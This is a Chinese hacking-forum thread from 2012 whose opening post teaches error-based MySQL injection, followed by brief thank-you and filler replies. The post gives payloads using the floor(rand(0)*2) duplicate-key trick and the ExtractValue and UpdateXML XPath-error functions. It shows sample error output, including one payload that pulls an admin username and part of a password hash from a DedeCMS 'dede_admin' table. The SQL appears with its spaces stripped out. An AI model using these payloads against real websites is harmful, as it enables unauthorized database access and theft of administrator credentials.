查看: 2024|回复: 25

渗透攻击中mysql错误信息的利用

[复制链接]
发表于 2012-12-3 05:54:22 | 显示全部楼层 |阅读模式
在很多的情况下我们不能直接方便的进行注入,于是有了BENCHMARK延迟注射;

如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误,php中是调用mysql_error(),其他脚本可能有自己的函数),现在又有了更方便的方法。

网上流传了两三种方法:


第一种略,略过了,低版本mysql适用

http://hi.baidu.com/toby57/blog/item/26416060c1d92c48eaf8f839.html


第二种:

SELECT1FROM(selectcount(*),concat(floor(rand(0)*2),(SELECT'x'))afrominformation_schema.tablesgroupbya)b;

ERROR1062(23000)uplicateentry'1x'forkey'group_key'

这种方法对MySQL版本没什么要求,但只能爆出64字节的数据,用这种方法遇到大数据只能MID慢慢来了。

(select1from(selectcount(*),concat((+++),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)k)


第三种:

通过对ExtractValue和updataxml函数传递不合XPATH语法规则的参数来爆出数据。(只针对MySQL5.1++,低于5.1的无此函数)

SELECT1ANDExtractValue(1,CONCAT(0x5c,(SELECT@@VERSION)))

ERROR1105(HY000):XPATHsyntaxerror:'\5.1.40-community'

SELECT1FROMdede_adminWHEREupdatexml(1,(SELECTCONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d)FROMdede_admin),1);

ERROR1105(HY000):XPATHsyntaxerror:'[admin:7a57a5a743894a0e]'

updatexml(1,CONCAT(0x5c,(SELECT@@VERSION)),1);


比上一种方法方便简洁,不过这方法只能爆出32字节的数据。同样,大数据只能Mid了。


百度一下这两个函数:

EXTRACTVALUE(XML_document,XPath_string);


第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)。

作用:从目标XML中返回包含所查询值的字符串

UPDATEXML(XML_document,XPath_string,new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

发表于 2012-12-6 12:01:58 | 显示全部楼层
青春就像卫生纸。看着挺多的,用着用着就不够了。  
发表于 2012-12-14 18:44:58 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-12-16 03:15:46 | 显示全部楼层
我的妈呀,爱死你了  
发表于 2014-10-17 11:53:43 | 显示全部楼层
希望大家帮我把这个帖发给你身边的人,谢谢!  
发表于 2014-11-17 14:37:41 | 显示全部楼层
哈哈,看的人少,回一下  
发表于 2014-12-5 00:39:04 | 显示全部楼层
长时间没来看了 ~~  
发表于 2014-12-28 05:53:07 | 显示全部楼层
顶你一下,好贴要顶!  
发表于 2015-1-28 03:20:51 | 显示全部楼层
任何的限制,都是从自己的内心开始的。  
发表于 2015-3-2 00:38:09 | 显示全部楼层
好啊,谢楼主
高级模式
B Color Image Link Quote Code Smilies

本版积分规则